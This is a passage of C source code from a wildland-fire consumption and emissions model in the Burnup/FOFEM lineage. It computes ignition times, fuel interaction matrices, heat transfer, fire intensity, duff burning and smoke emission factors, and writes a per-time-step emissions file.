//c tmig = predicted time to piloted ignition , s */ /*.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.*/ double TIgnite(double tpdr, double tpig, double tpfi, double cond, double chtd, double fmof, double dend, double hbar) { const double pinv = 2.125534; const double hvap = 2.177e+06; const double cpm = 4186.0; const double conc = 4.27e-04; double xlo, xhi, xav, fav, beta, conw, dtb, dti, ratio, rhoc, tmig; /* MOVED TO function FF(...) //------------------------------------------------------------------------------ //c approximate function of beta to be solved is ff( x ) where //c x = 1 / ( 1 + p * beta ) { Hastings, Approximations for //c digital computers } and we employ pinv = 1 / p // ff( x ) = b03 + x * ( a13 + x * ( a23 + x ) ) //c radiant heating equivalent form gives end condition fixes beta // b03 = a03 * ( tpfi - tpig ) / ( tpfi - tpam ) //------------------------------------------------------------------------------ //c find x that solves ff( x ) = 0 ; method is binary search */ xlo = 0.0; xhi = 1.0; do { xav = 0.5 * ( xlo + xhi ); fav = ff (xav, tpfi, tpig); if ( fabs(fav) > e_small ) { if ( fav < 0.0) xlo = xav; if ( fav > 0.0) xhi = xav; } } while ( fabs(fav) > e_small ); beta = pinv*(1.0-xav)/xav; conw = cond+conc*dend*fmof; dtb = tpdr-tamb; dti = tpig-tamb; ratio = (hvap+cpm*dtb)/(chtd*dti); rhoc = dend*chtd*(1.0+fmof*ratio); tmig = pow2(beta/hbar)*conw*rhoc; return tmig; } /*------------------------------------------------------------------------------ // // Arrays // //-----------------------------------------------------------------------------*/ void Arrays() { /* subroutine ARRAYS( maxno , number , wdry , ash , dendry , fmois , // + sigma , htval , cheat , condry , tpig , tchar , // + diam , key , work , ak , elam , alone , xmat , // + wo , maxkl ) // Orders the fuel description arrays according to the paradigm described in // subroutine SORTER and computes the interaction matrix xmat from the array // elam and the list alone returned from subroutine OVLAPS. Parameters in // arrays are defined in terms of initial values as: // wdry ovendry mass loading , kg / sq m // ash mineral content , fraction dry mass // dendry ovendry mass density , kg / cu m // fmois moisture content , fraction dry mass // sigma surface to volume ratio , 1 / m // htval low heat of combustion , J / kg // cheat specific heat capacity , ( J / K ) / kg dry mass // condry thermal conductivity , W / m K , ovendry // tpig ignition temperature , K // tchar char temperature , K // diam initial diameter , m [ by interaction pairs ] // key ordered index list // work workspace array // elam interaction matrix from OVLAPS // alone noninteraction fraction list from OVLAPS // xmat consolidated interaction matrix // wo initial dry loading by interaction pairs */ double diak, wtk; long j, k, kl, kj; Sorter(); /* call SORTER( maxno , number , sigma , fmois , dendry , key ) */ for ( j = 0; j < number; j++) { k = key[j]; work[j]= wdry[k]; } for ( j = 0; j < number; j++) wdry[j] = work[j]; for ( j = 0; j < number; j++) { k = key[j]; work[j]= ash[k]; } for ( j = 0; j < number; j++) ash[j] = work[j]; for ( j = 0; j < number; j++) { k = key[j]; work[j]= htval[k]; } for ( j = 0; j < number; j++) htval[j]= work[j]; for ( j = 0; j < number; j++) { k = key[j]; work[j]= cheat[k]; } for ( j = 0; j < number; j++) cheat[j] = work[j]; for ( j = 0; j < number; j++) { k = key[j]; work[j]= condry[k]; } for ( j = 0; j < number; j++) condry[j] = work[j]; for ( j = 0; j < number; j++) { k = key[j]; work[j]= tpig[k]; } for ( j = 0; j < number; j++) tpig[j] = work[j]; for ( j = 0; j < number; j++) { k = key[j]; work[j]= tchar[k]; } for ( j = 0; j < number; j++) tchar[j] = work[j]; OverLaps(); /* call OVLAPS( wdry , sigma , dendry , ak , number , maxno , maxkl , xmat , elam , alone ) */ for ( k = 1; k <= number; k++) { /* do k = 1 , number */ diak = 4.0 / sigma[k-1]; wtk = wdry[k-1]; kl = loc(k, 0); diam[kl] = diak; xmat[kl] = alone[k-1]; wo[kl] = wtk * xmat[kl]; for ( j = 1; j <= k; j++) { /* do j = 1 , k */ kj = loc(k, j); diam[kj] = diak; xmat[kj] = elam[k-1][j-1]; wo[kj] = wtk * xmat[kj]; } } } /*------------------------------------------------------------------------------ // // TempF // function TEMPF( q , r , tamb ) //c Returns a fire environment temperature , TEMPF , given the fire intensity //c q in kW / square meter , the ambient temperature tamb in Kelvins, and the //c dimensionless mixing parameter r. // //--------------------------------------------------------------------------*/ double TempF(double q, double r) { const double err=1.0e-04; const double aa=20.0; double term, rlast, den, rnext, test, tempf; /* NOTE: I put a check in because this would do a divide by 0, */ if ( q != 0 ) term = r / (aa * q); else term = 0; rlast = r; do { den = 1.0 + term*(rlast+1.0)*(rlast*rlast+1.0); rnext = 0.5*(rlast+1.0+r/den); test = fabs(rnext-rlast); if ( test < err) { tempf = rnext * tamb; break; } rlast = rnext; } while ( test >= err); return tempf; } /*------------------------------------------------------------------------------ // // Sorter // //------------------------------------------------------------------------------ // subroutine SORTER( maxno , number , sigma , fmois , dendry , key ) // // Sorts fuel element list in order of increasing size (decreasing sigma) // For elements with same size, order determined on increasing moisture // content (fmois). If items have same size and moisture content, order // on the basis of increasing mass density (dendry). "number" elements are // included in the list, which has a maximum length of "maxno". The integer // list: key( j ) , j = 1 , number holds the indices in order, so other // fuel parameters can be ordered and associated as necessary. */ void Sorter() { long i, j, keep; double s, fm, de, usi; bool diam, mois, dens, tied, earlyout; for (j = 0; j < MAXNO; j++) /* do j=1 , maxno */ key[j]=j; /* Replacement sort: order on increasing size , moisture , density */ for(j=2; j<=number; j++) { /* do j = 2 , number */ s = 1.0 / sigma[j-1]; fm = fmois[j-1]; de = dendry[j-1]; keep = key[j-1]; for(i=(j-2); i>=0; i--) { /* do i = ( j - 1 ) , 1 , -1 */ earlyout=true; usi = 1.0/sigma[i]; if ( usi < s ) diam=true; else diam = false; if ( diam ) break; /* goto 10 */ if ( usi == s ) tied = true; else tied = false; if ( tied ) { /* goto 05 */ if ( fmois[i] < fm) mois=true; else mois = false; if( mois ) break; /* goto 10 */ if(fmois[i]==fm) tied=true; else tied=false; if ( tied ) { if(dendry[i]<=de) dens=true; else dens=false; if(dens) break; /* goto 10 */ } } sigma[i+1]=sigma[i]; fmois[i+1]=fmois[i]; dendry[i+1]=dendry[i]; key[i+1]=key[i]; earlyout=false; } if(!earlyout) i=0; sigma[i+1]=1.0/s; fmois[i+1]=fm; dendry[i+1]=de; key[i+1]=keep; } } /*------------------------------------------------------------------------------ // // OvLaps // // wdry , sigma , dendry , ak , number , maxno , maxkl , beta , elam , alone , area ) // Computes the interaction matrix elam( j , k ) which apportions the // influence of smaller and equal size pieces on each size class for the // purpose of establishing the rates at which the elements burn out. // Input quantities are: wdry , the ovendry mass per unit area of each // element available for burning after the passage of the igniting surface // fire; sigma , the particle's surface / volume ratio , and dendry , the // ovendry mass density of the particle; ak a dimensionless parameter that // scales the planform area of a particle to its area of influence. There // are "number" separate particle classes, of a maximum number = maxno. // It is assumed that the lists are ordered on size class (nonincreasing // surface / volume ratio). List "alone" gives the fraction of each loading // that is not influenced by any other category. // double wdry[MAXNO] , sigma[MAXNO] , dendry[MAXNO]; // double beta[MAXKL] , elam[MAXNO][MAXNO] , alone[MAXNO]; // double area[MAXNO]; //------------------------------------------------------------------------- */ void OverLaps() { long j, k, l, kj, kl; double a, bb, pi, siga, frac; frac = 0; /* put this in 12-18-00, it wasn't being init */ pi = fabs(acos(-1.0)); for(j=1; j<=number; j++) /* do j = 1 , number */ { alone[j-1]=0.0; for(k=1; k<=j; k++) /* do k = 1 , j */ { kj = loc(j, k); xmat[kj]=0.0; } for(k=1; k<=number; k++) /* do k = 1 , number */ elam[j-1][k-1] = 0.0; } for(k=1; k<=number; k++) /* do k = 1 , number */ { for(l=1; l<=k; l++) /* do l = 1 , k */ { ak=3.25*exp(-20.0*pow2(fmois[l-1])); siga = ak * sigma[k-1]/pi; kl = loc(k, l); a = siga*wdry[l-1]/dendry[l-1]; if(k==l) { bb = 1.0 - exp(-a); /* Changed 5/16/00, to fix that divide by 0 problem */ if ( bb < 1e-30 ) bb = 1e-30; /* Changed ............................. */ area[k-1]=bb; } else /* if(k!=1) */ bb = Min(1.0, a); xmat[kl]=bb; } } if(number==1) { elam[0][0]=xmat[1]; alone[0]=1.0- elam[0][0]; return; } for(k=1; k<=number; k++) /* do k = 1 , number */ { frac=0.0; for(l=1; l<=k; l++) /* do l = 1 , k */ { kl=loc(k, l); frac+=xmat[kl]; } if(frac>1.0) { for(l=1; l<=k; l++) /* do l = 1 , k */ { kl=loc(k, l); elam[k-1][l-1]=xmat[kl]/frac; } alone[k-1]=0.0; } else { for(l=1; l<=k; l++) /* do l = 1 , k */ { kl=loc(k, l); elam[k-1][l-1]=xmat[kl]; } alone[k-1]=1.0-frac; } } } /*------------------------------------------------------------------------------ // // subroutine HEATX() // Given horizontal windspeed u at height d [top of fuelbed], cylindrical // fuel particle diameter dia, fire environment temperature tf, and mean // surface temperature, ts, subroutine returns film heat transfer coefficient // hfm and an "effective" film heat transfer coefficient including radiation // heat transfer, hbar. Using the wood's thermal conductivity, cond, the // modified Nusselt number [ en ] used to estimate onset of surface drying // is returned as well. // //-------------------------------------------------------------------------- */ void HeatExchange(double dia , double tf , double ts , double *hfm , double *hbar , double cond, double *en) { double v, re, enuair, conair, fac, hfmin; const double g = 9.8; const double vis = 7.5e-05; const double a = 8.75e-03; const double b = 5.75e-05; const double rad = 5.67e-08; const double fmfac = 0.382; const double hradf = 0.5; double hrad; *hfm = 0.0; if ( dia > b ) { v = sqrt(u*u+0.53*g*d); re = v*dia/vis; enuair = 0.344*pow(re, 0.56); conair = a+b*tf; fac = sqrt(fabs(tf-ts)/dia); hfmin = fmfac*sqrt(fac); *hfm = Max((enuair*conair/dia), hfmin); } hrad = hradf*rad*(tf+ts)*(tf*tf+ts*ts); *hbar = *hfm + hrad; *en = *hbar * dia / cond; } /*.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-. // wodot , ash , htval , maxno , number , maxkl , area , fint , fi ) // Computes fi = site avg fire intensity given the burning rates of all // interacting pairs of fuel components [ wodot ] , the mineral ash content // of each component [ ash ] , the heat of combustion value [ htval ] for // each , and the number of fuel components [ number ] , where max = maxno. // fi is in kW / sq m , while htval is in J / kg. // fint( k ) is the correction to fi to adjust // the intensity level to be the local value where size k is burning. // // Out: ad_pcSmoCon......percent that was consumed in Smoldering // Ret: Fire Intensity .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.*/ double FireIntensity(double *ad_pcSmoCon) { long k, l, kl, k0; double sum, wdotk, ark, term; double wnoduff, wnoduffsum, noduffsum, test, noduffterm; /*, fintnoduff[MAXNO]; */ double fracf; double d, d_TotFla, d_TotSmo; d_TotFla = d_TotSmo = 0; if ( gd_Fudge1 != 0 ) { /* A kludge to save what the */ wodot[0]= gd_Fudge1; /* 'Start' function was trashing*/ gd_Fudge1 = 0; } /* This will only happen on the */ if ( gd_Fudge2 != 0 ) { /* first time step */ wodot[1]= gd_Fudge2; gd_Fudge2 = 0; } sum = noduffsum = wnoduffsum = 0.0; for ( k = 1; k <= number; k++) { wdotk = wnoduff = 0.0; for ( l = 0; l <= k; l++) { kl = loc(k, l); wdotk += wodot[kl]; } term = (1.0-ash[k-1])*htval[k-1]*wdotk*1.e-03; ark = area[k-1]; if ( ark > e_small) fint[k-1] = term / ark - term; else fint[k-1] = 0.0; k0 = loc(k, 0); wnoduff = wdotk - wodot[k0]; noduffterm = (1.0 - ash[k-1]) * htval[k-1] * wnoduff * 1.e-03; if ( wnoduff > 0.0) { fracf = wnoduff / wdotk; test = fracf * fint[k-1]; } else test = 0.0; /*-------------------------------------- */ /* flaming and smoldering decision here */ /*-------------------------------------- */ if ( test > 15.0 / ark - 15.0) { /* 15 kW m-2 is switch */ d_TotFla += wnoduff; } else { d_TotSmo += wnoduff; } /*-------------------------------------- */ sum += term; noduffsum += noduffterm; wnoduffsum += wnoduff; } d = d_TotFla + d_TotSmo; /* Total Consumed */ if ( d != 0 ) /* don't div by 0 */ *ad_pcSmoCon = d_TotSmo / d; /* what % of tot con was Smoldr */ else *ad_pcSmoCon = 0; return sum; } /*----------------------------------------------------------------------------- // // subroutine DRYTIM( enu , theta , tau ) // Given a Nusselt number ( enu , actually Biot number = h D / k ) // and the dimensionless temperature rise required for the start // of surface drying ( theta ), returns the dimensionless time ( tau ) // needed to achieve it. The time is given multiplied by thermal // diffusivity and divided by radius squared. Solution by binary search. // //-------------------------------------------------------------------------- */ double DryTime(double enu, double theta) { long n; double tau; double x, xl, xh, xm; const double p = 0.47047; xl = 0.0; xh = 1.0; for ( n = 0; n < 15; n++) { xm = 0.5 * ( xl + xh ); if ( func(xm, theta) < 0.0) xl = xm; else xh = xm; } x = (1.0 / xm - 1.0 ) / p; tau = pow2(0.5 * x / enu); return tau; } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: Heat_Heading * Desc: Heading for the .hea file * In: fh......file handle {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ void Heat_Heading (FILE *fh) { fprintf (fh, " Column 1: Time since ignition, seconds\n"); fprintf (fh, " 2: Intensity kW/msq\n"); fprintf (fh, " 3: Emission PM 2.5 g/msq\n"); fprintf (fh, " 4: Emission PM 10 g/msq\n"); fprintf (fh, " 5: Emission CH4 g/msq\n"); fprintf (fh, " 6: Emission CO2 g/msq\n"); fprintf (fh, " 7: Emission CO g/msq\n"); fprintf (fh, " 8: Emission NOX g/msq\n"); fprintf (fh, " 9: Emission SO2 g/msq\n"); fprintf (fh, " 10: Flame Weight kg/msq\n"); fprintf (fh, " 11: Smoldering Weight kg/msq\n\n"); } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: DuffBurn * Desc: * Note-1: This function has been modified to use the Duff Consumed Percent * that fofem calculates. * But if a negative or and out of range percent comes in the function * does the calculation the orginal way, this way should get used * when running from a user Burnup input file, because burnup will * run strictly from the input file, with fofem having not been run * there is no duff con percent available. * ---> SEE COMMENT for input Param below * Orginal Comment -> Duff burning rate (ergo, intensity) and duration * In: f_DufConPerCent.....Duff Consumed Percent Fofem calculation * as a whole number, we convert it in here * NOTE, send in a -1 when running burnup with the * 'optional' user input file {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ void DuffBurn (double wdf, double dfm, double *dfi, double *tdf, float f_DufConPerCent, double *ad_Duf_CPTS) { double ff; *dfi = 0.0; *tdf = 0.0; *ad_Duf_CPTS = 0.0; /* Note: all check of limits should have been done before coming here */ if (( wdf <= 0.0) || ( dfm >= 1.96)) return; *dfi=11.25-4.05*dfm; /* changed 6-3-04, ff = f_DufConPerCent to divide by 100.0, it was coming */ /* in as a whole number and using that original equation in the 'else' */ if ( f_DufConPerCent >= 0 && f_DufConPerCent <= 100 ) ff = f_DufConPerCent / 100.0; /* See Note-1 in function header */ else ff=0.837-0.426*dfm; /* NOTE: this line isOrginal Code */ *tdf=1.e+04*ff*wdf/(7.5-2.7*dfm); /* line added 11-7-00, when we had the problem not get duff in calcs */ /* I put in the check for div by 0, which can happen */ if ( *tdf == 0 ) { *ad_Duf_CPTS = 0; } /* Duf Consmed per time step */ else { *ad_Duf_CPTS = (ff * wdf) / ( *tdf );} /* Duf Consmed per time step */ } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: Get_Cons * Desc: Take the difference of the old new consumed values. * This gets called from every place in 'Start' and 'Step' functions * where the consumed amount is calculated. * NOTE: The way Burnup works is that it replaces the old remaining load * with the new load, so we take the difference to get the consumed * In: d_old, d_new.....old and new remaingin loads * Ret: the consumed amount whick is the difference {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{**/ double Get_Cons (double d_old, double d_new) { return (d_old - d_new); } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: Duff_CPTS * Desc: Calc the Duff Consumed per time step. * This also adjust the total Duff the is remaining to be consumed * This function maintains the Total amount of Duff that has not be * used yet, so when the Total gets down to or near 0 the function * will return 0 or the small remaining amount. * In: d_Duf_CPS.....duff to be consumed per second * d_timeSec.....number of seconds * In/Out: *ad_Duf_ConTot.....running amount of Total Duff, whatever is * calculated and returned is deducted from here * Ret: Amount Consumed. {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ double Duff_CPTS ( double *ad_Duf_ConTot, double d_Duf_CPT, double d_timeSec) { double d_AmtCon; if ( *ad_Duf_ConTot == 0 ) /* Nothing to left in total */ return 0; if ( d_Duf_CPT == 0 ) /* watch out */ return 0; d_AmtCon = d_Duf_CPT * d_timeSec; /* Calc amount */ if ( *ad_Duf_ConTot >= d_AmtCon ) { /* make sure have enoug in tot */ *ad_Duf_ConTot = *ad_Duf_ConTot - d_AmtCon; /* reduce tot */ return d_AmtCon; } /* ret amout */ d_AmtCon = *ad_Duf_ConTot; /* not enough so ret whats left */ *ad_Duf_ConTot = 0; /* 0 the tot */ return d_AmtCon; } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: ES_Calc * Desc: Calculate the Emissions and save totals (keeps running totals) * This function gets called for each time step. * The amounts and totals are put in the ES (Emission Struct) * NOTE: The ES struct has to be initialized 'ES_Init' function before * using so final total variables in the struct get zero'd * NOTE: d_HSFB, is only sent in on first time step, else 0 * Note-1: Would like to check for 0 here, but sometimes the consumed * amount gets really small and like in the case of * flaming it will go to 0 and then in a later time step * a trace amount will show up, so I made it check for a small * amount rather than 0 * In: d_WooLit.....Wood and Litter consumed for current time step * d_Duff.......Duff consumed for current time step * d_HSFB.......Herb,Shrub,Foliage,Branch, comsumed amounts only sent * in for first time step, all other calls should send * in 0, in Kilograms per Square Meter * d_pcSmo......percent of Wood/Litter load that was consumed by * smoldering * d_time.......time in seconds of time step, 60,75,90, etc.. * In/Out: a_ES........The emission amounts for the time step are placed * in here, also they are added to the running totals * that are alss in this struct * Ret: 1 OK - 0 Error {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ int ES_Calc (d_ES *a_ES, double d_WooLit, double d_Duff, double d_HSFB, double d_pcSmo, double d_time) { double d_pcFla; double d_pm10f, d_pm10s, d_pm25f, d_pm25s, d_ch4f, d_ch4s, d_cof, d_cos; double d_co2f, d_co2s; double d_noxf, d_noxs, d_soxf, d_soxs; double d_FlaCon, d_SmoCon; if ( d_pcSmo < 0 || d_pcSmo > 1.0 ) { return 0; } d_pcFla = 1.0 - d_pcSmo; /* % Consmd Flam, see Note-1 */ d_FlaCon = ( d_WooLit * d_pcFla ) + d_HSFB; /* Tot Consumed by Flam */ d_SmoCon = ( d_WooLit * d_pcSmo ) + d_Duff; /* Tot Consumed by Smoldrng */ a_ES->d_FlaCon = d_FlaCon; /* Store amounts used in calcs */ a_ES->d_SmoCon = d_SmoCon; if ( a_ES->d_FlaCon > 0.00001 ) /* Save last time step that we */ a_ES->d_FlaDur = d_time; /* have a consumed amount */ if ( a_ES->d_SmoCon > 0.00001 ) { /* See Note-1 above */ a_ES->d_SmoDur = d_time; } d_pm25f = 67.4 - e_ComEffFla * 66.8; /* Emission Factors */ d_pm25s = 67.4 - e_ComEffSmo * 66.8; /* NOTE, This gets them to */ d_ch4f = 42.7 - e_ComEffFla * 43.2; /* Grams Per Square Meter */ d_ch4s = 42.7 - e_ComEffSmo * 43.2; d_cof = 961 - e_ComEffFla * 984.0; d_cos = 961 - e_ComEffSmo * 984.0; d_co2f = e_ComEffFla * 1833.0; d_co2s = e_ComEffSmo * 1833.0; d_pm10f = d_pm25f * 1.18; d_pm10s = d_pm25s * 1.18; /* Change 9-3-03 .............................................. */ /* New emission factors for NOX and SOX */ d_noxf = 3.2; /* NOX & SOX emission factors */ d_noxs = 0; d_soxf = 1.0; d_soxs = 1.0; /* These were the orginal factors I got for NOX and SOX */ /* d_noxf = 0.17 * d_co2f; */ /* d_noxs = 0; */ /* d_soxf = 0.05 * d_co2f; */ /* d_soxs = 0.05 * d_co2s; */ /* ............................................................. */ /* Emissions for current single time step, combine Flame and Smolder....... */ a_ES->d_PM25 = (d_pm25f * d_FlaCon) + (d_pm25s * d_SmoCon) ; a_ES->d_PM10 = (d_pm10f * d_FlaCon) + (d_pm10s * d_SmoCon) ; a_ES->d_CH4 = (d_ch4f * d_FlaCon) + (d_ch4s * d_SmoCon) ; a_ES->d_CO2 = (d_co2f * d_FlaCon) + (d_co2s * d_SmoCon) ; a_ES->d_CO = (d_cof * d_FlaCon) + (d_cos * d_SmoCon) ; a_ES->d_NOX = (d_noxf * d_FlaCon) + (d_noxs * d_SmoCon) ; a_ES->d_SOX = (d_soxf * d_FlaCon) + (d_soxs * d_SmoCon) ; /* Total Individual Flame & Smoldering..................................... */ a_ES->dN_PM25F += (d_pm25f * d_FlaCon) ; a_ES->dN_CH4F += (d_ch4f * d_FlaCon) ; a_ES->dN_COF += (d_cof * d_FlaCon) ; a_ES->dN_CO2F += (d_co2f * d_FlaCon) ; a_ES->dN_PM10F += (d_pm10f * d_FlaCon) ; a_ES->dN_NOXF += (d_noxf * d_FlaCon) ; a_ES->dN_SOXF += (d_soxf * d_FlaCon) ; a_ES->dN_PM25S += (d_pm25s * d_SmoCon); a_ES->dN_CH4S += (d_ch4s * d_SmoCon); a_ES->dN_COS += (d_cos * d_SmoCon); a_ES->dN_CO2S += (d_co2s * d_SmoCon); a_ES->dN_PM10S += (d_pm10s * d_SmoCon); a_ES->dN_NOXS += (d_noxs * d_SmoCon); a_ES->dN_SOXS += (d_soxs * d_SmoCon); a_ES->dN_FlaCon += a_ES->d_FlaCon; /* for getting Total Consumed */ a_ES->dN_SmoCon += a_ES->d_SmoCon; return 1; } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: ES_* * Desc: Functions to get final totals and time durations. * Once burnup is done the total emissions can be gotten here * and Flame & Smoldering Duration, which is the time step in * which the emission finally stop (last one). {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ float ES_PM10F() { return (float) s_ES.dN_PM10F; } float ES_PM25F() { return (float) s_ES.dN_PM25F; } float ES_CH4F () { return (float) s_ES.dN_CH4F; } float ES_COF () { return (float) s_ES.dN_COF; } float ES_CO2F () { return (float) s_ES.dN_CO2F; } float ES_NOXF () { return (float) s_ES.dN_NOXF; } float ES_SOXF () { return (float) s_ES.dN_SOXF; } float ES_PM10S() { return (float) s_ES.dN_PM10S; } float ES_PM25S() { return (float) s_ES.dN_PM25S; } float ES_CH4S () { return (float) s_ES.dN_CH4S; } float ES_COS () { return (float) s_ES.dN_COS; } float ES_CO2S () { return (float) s_ES.dN_CO2S; } float ES_NOXS () { return (float) s_ES.dN_NOXS; } float ES_SOXS () { return (float) s_ES.dN_SOXS; } float ES_FlaDur () { return (float)s_ES.d_FlaDur; } float ES_SmoDur () { return (float)s_ES.d_SmoDur; } float ES_FlaCon () { return (float)s_ES.dN_FlaCon; } float ES_SmoCon () { return (float)s_ES.dN_SmoCon; } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: ES_Init * Desc: Init all vars in struct to 0 in Emission Structure {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ void ES_Init (d_ES *a_ES) { a_ES->d_FlaCon = 0; /* Store consumed for time step */ a_ES->d_SmoCon = 0; a_ES->dN_PM25F = 0; a_ES->dN_CH4F = 0; a_ES->dN_COF = 0; a_ES->dN_CO2F = 0; a_ES->dN_PM10F = 0; a_ES->dN_NOXF = 0; a_ES->dN_SOXF = 0; a_ES->dN_PM25S = 0; a_ES->dN_CH4S = 0; a_ES->dN_COS = 0; a_ES->dN_CO2S = 0; a_ES->dN_PM10S = 0; a_ES->dN_NOXS = 0; a_ES->dN_SOXS = 0; a_ES->d_FlaDur = 0; a_ES->d_SmoDur = 0; a_ES->dN_FlaCon = 0; /* Total Flame Consumed */ a_ES->dN_SmoCon = 0; /* Total Smolder Consumed */ } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: EFM_Open * Desc: Open the output Emissions file. * In: cr_FN.....Path File Name * Ret: 1 OK 0 Error {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ FILE *fh_EFM; int EFM_Open (char cr_FN[]) { if ( !strcmp (cr_FN,"") ) { /* name is NULL, that's ok other */ fh_EFM = NULL; /* EFM func get called but will not */ return 1; } /* output anyting */ fh_EFM = fopen (cr_FN,"w"); if ( fh_EFM == NULL ) return 0; Heat_Heading (fh_EFM); /* putting head in output report */ return 1; } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: EFM_Close * Desc: Close the Emission Ouput FIle {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ void EFM_Close() { if ( fh_EFM != NULL ) /* if file was opened */ fclose (fh_EFM); } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: EFM_Write * Desc: Write a single line to the Emissions Output File * One line corresponds to a single time step. * In: a_ES.......Emisson struct, this has all the values calculated * and ready to go. * d_Time.....the time line in seconds * d_FirInt...Fire Intensity * Ret: 1 OK 0 Error {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ int EFM_Write (d_ES *a_ES, double d_Time, double d_FirInt) { int i_Time; if ( fh_EFM == NULL ) /* if file was opened */ return 1; i_Time = (int) d_Time; fprintf (fh_EFM, "%4d %9.4f %9.4f %9.4f %9.4f %9.4f %9.4f %9.4f %9.4f %9.4f %9.4f\n", i_Time, d_FirInt, a_ES->d_PM25, a_ES->d_PM10, a_ES->d_CH4, a_ES->d_CO2, a_ES->d_CO, a_ES->d_NOX, a_ES->d_SOX, a_ES->d_FlaCon, a_ES->d_SmoCon); return 1; } /*.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.- */ double pow2(double input) { return input*input; } /*.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.- */ double func(double h, double theta) { const double a = 0.7478556; const double b = 0.4653628; const double c = 0.1282064; return h*(b-h*(c-h))-(1.0-theta)/a; } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: BRN_Intensity * Desc: Calculate Intensity for Herb, Shrub, Foliga and Branch,it * will be added to first line in Emissions File * In: f_Con....Consumed amount (herb+shrub+foliage+branch) * Ret: intensity {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ float BRN_Intensity (float f_Con) { float a,b,c,d,e,f; a = 8000; b = 2000; c = 43560; d = 60; e = 11.35; f = a * b / c / d * e; f = f * f_Con; return f; } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: Save_SGV * Desc: Save the Emissions for the time step to the SGV, which is * a struct used to graph the emissions * The structure will have info about each time step. * In: a_ES......Emission Struct * d_time....the time (seconds) * d_FirInt..Fire Intensity {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ void Save_SGV (d_ES *a_ES, double d_time, double d_FirInt) { d_SGV s_SGV; s_SGV.f_Sec = (float) d_time; /* saving values at each time */ s_SGV.f_PM2_5 = (float) a_ES->d_PM25; /* step, for graphing later */ s_SGV.f_PM10 = (float) a_ES->d_PM10; s_SGV.f_CH4 = (float) a_ES->d_CH4; s_SGV.f_CO2 = (float) a_ES->d_CO2; s_SGV.f_CO = (float) a_ES->d_CO; s_SGV.f_NOX = (float) a_ES->d_NOX; s_SGV.f_SOX = (float) a_ES->d_SOX; s_SGV.f_Inten = (float) d_FirInt; SGV_Set ( &s_SGV ); /*save 'em */ } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: 